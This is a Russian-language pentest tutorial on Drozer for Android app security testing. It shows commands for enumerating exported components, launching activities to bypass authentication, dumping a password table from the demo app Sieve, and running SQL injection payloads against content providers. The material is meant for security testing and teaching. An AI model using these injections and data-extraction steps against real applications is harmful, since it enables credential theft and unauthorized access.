Проверяем безопасность приложений с помощью Drozer

Моя цель - предложение широкого ассортимента товаров и услуг на постоянно высоком качестве обслуживания по самым выгодным ценам.

Прежде чем перейти к статье, хочу вам представить, экономическую онлайн игру Brave Knights, в которой вы можете играть и зарабатывать. Регистируйтесь, играйте и зарабатывайте!


Drozer – обязательный инструмент в арсенале каждого пентестера. С его помощью можно быстро получить информацию о приложении и его слабых местах.


Drozer предустановлен в Kali Linux и других ОС для белого хакинга.


Возможности Drozer:


  1. Получение информации о пакете
  2. Определение поверхности атаки
  3. Запуск активностей
  4. Чтение от поставщиков содержимого
  5. Взаимодействие со службами
  6. Дополнительные опции

1. Получение информации о пакете


Мы можем получить пакеты, присутствующие на подключенных устройствах, а также информацию о любом установленном пакете.


To get list of all packages present in the device.
dz> run app.package.list

To search for a package name from the above list
dz> run app.package.list -f <your_string>

To get basic info about any selected package
dz> run app.package.info -a <package_name>

2. Определение поверхности атаки


Это та часть, с которой мы начинаем исследовать уязвимости. В первую очередь проверим количество экспортированных:


  • Активностей
  • Поставщиков содержимого
  • Служб

To get list of exported Activities, Broadcast Receivers, Content Providers and Services:
dz> run app.package.attacksurface <package_name>
  3 activities exported
  0 broadcast receivers exported
  2 content providers exported
  2 services exported is debuggable

3. Запуск активностей


Теперь мы попытаемся запустить экспортированные активности и попробуем обойти аутентификацию. Начинаем с запуска всех экспортируемых активностей.


To get a list activities from a package
dz> run app.activity.info -a <package_name>

To launch any selected activity
dz> run app.activity.start --component <package_name> <activity_name>

4. Чтение от поставщиков контента


Далее мы попытаемся собрать больше информации о поставщиках контента, экспортируемых приложением.


To get info about the content providers:
dz> run app.provider.info -a <package_name>

Example Result:
Package: com.mwr.example.sieveAuthority: com.mwr.example.sieve.DBContentProvider
Read Permission: null
Write Permission: null
Content Provider: com.mwr.example.sieve.DBContentProvider
Multiprocess Allowed: True
Grant Uri Permissions: False
Path Permissions:
Path: /Keys
Type: PATTERN_LITERAL
Read Permission: com.mwr.example.sieve.READ_KEYS
Write Permission: com.mwr.example.sieve.WRITE_KEYS

Вышеупомянутый поставщик содержимого называется DBContentProvider (Database Backed Content Provider). Угадать URI контента очень сложно, однако drozer предоставляет модуль сканера, который объединяет различные способы угадывать путь и определять список доступных URI контента. Мы можем получить URI контента с помощью:


To get the content URIs for the selected package
dz> run scanner.provider.finduris -a <your_package>

Example Result:
Scanning com.mwr.example.sieve...
Unable to Query content://com.mwr.
example.sieve.DBContentProvider/
  ...
Unable to Query
content://com.mwr.example.sieve.DBContentProvider/Keys
Accessible content URIs:
  content://com.mwr.example.sieve.DBContentProvider/Keys/
  content://com.mwr.example.sieve.DBContentProvider/Passwords
  content://com.mwr.example.sieve.DBContentProvider/Passwords/

Теперь мы можем использовать другие модули drozer для извлечения информации из этих URI контента или даже для изменений в базе данных.


To retrieve or modify data using the above content URIs:
dz> run app.provider.query
content://com.mwr.example.sieve.DBContentProvider/Password/ --vertical

   _id: 1
 service: Email
 username: incognitoguy50
 password: PSFjqXIMVa5NJFudgDuuLVgJYFD+8w== (Base64-encoded)
 email: incognitoguy50@gmail.com

Платформа Android поощряет использование баз данных SQLite, которые могут быть уязвимы для SQL-инъекции. Мы можем протестировать SQL-инъекцию, манипулируя полями проекции и выбора.


To attack using SQL injection:
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "'"

unrecognized token: "' FROM Passwords" (code 1): , while compiling: SELECT '

FROM Passwords
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --selection "'" 
unrecognized token: "')" (code 1): , while compiling: SELECT * FROM Passwords WHERE (')

Android возвращает подробное сообщение об ошибке, показывающее весь запрос, который мы пытались выполнить. Его можно использовать для вывода списка всех таблиц в базе данных.


To attack using SQL injection:
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM SQLITE_MASTER WHERE type='table';--"

| type  | name      | tbl_name         | rootpage | sql           |

| table | android_metadata | android_metadata| 3 |CREATE TABLE... |

| table | Passwords        | Passwords       | 4 |CREATE TABLE ...|

| table | Key              | Key             | 5 |CREATE TABLE ...|

Поставщик содержимого может предоставить доступ к базовой файловой системе. Это позволяет приложениям обмениваться файлами, где песочница Android могла бы предотвратить это.


To read the files in the file system
dz> run app.provider.read <URI>

To download content from the file
dz> run app.provider.download <URI>

To check for injection vulnerabilities
dz> run scanner.provider.injection -a <package_name>

To check for directory traversal vulnerabilities
dz> run scanner.provider.traversal -a <package_name>

5. Взаимодействие со службами


Для взаимодействия с экспортированными службами мы можем попросить Drozer предоставить более подробную информацию, используя:


To get details about exported services
dz> run app.service.info -a <package_name>

6. Дополнительные опции


Для получения дополнительной информации существует несколько замечательных команд:


  • shell.start — запустить интерактивную оболочку Linux на устройстве.


  • tools.file.upload / tools.file.download — Разрешить копирование файлов на / с устройства Android.


  • tools.setup.busybox / tools.setup.minimalsu — Установить на устройство полезные двоичные файлы.



image

Источник: https://habr.com/ru/company/alexhost/blog/535396/


Интересные статьи

Интересные статьи

За прошлый год я собрал и настроил автоматизацию для небольшой квартиры около оживленной дороги. В этой статье я расскажу об использованных решениях в климатической системе, освещении, мультимеди...
Сравнивать CRM системы – дело неблагодарное. Очень уж сильно они отличаются в целях создания, реализации, в деталях.
Бизнес-смыслы появились в Битриксе в начале 2016 года, но мало кто понимает, как их правильно использовать для удобной настройки интернет-магазинов.
Сегодня мы представляем вашему вниманию первую часть перевода материала, который посвящён разработке крупномасштабных React-приложений. При создании одностраничного приложения с помощью React оче...
В какой-то момент моей жизни я понял, что для счастья мне нужно создать 10 страниц-копий самого себя во Вконтакте и добавиться одновременно всеми в друзья к людям из френдлиста моей основной стра...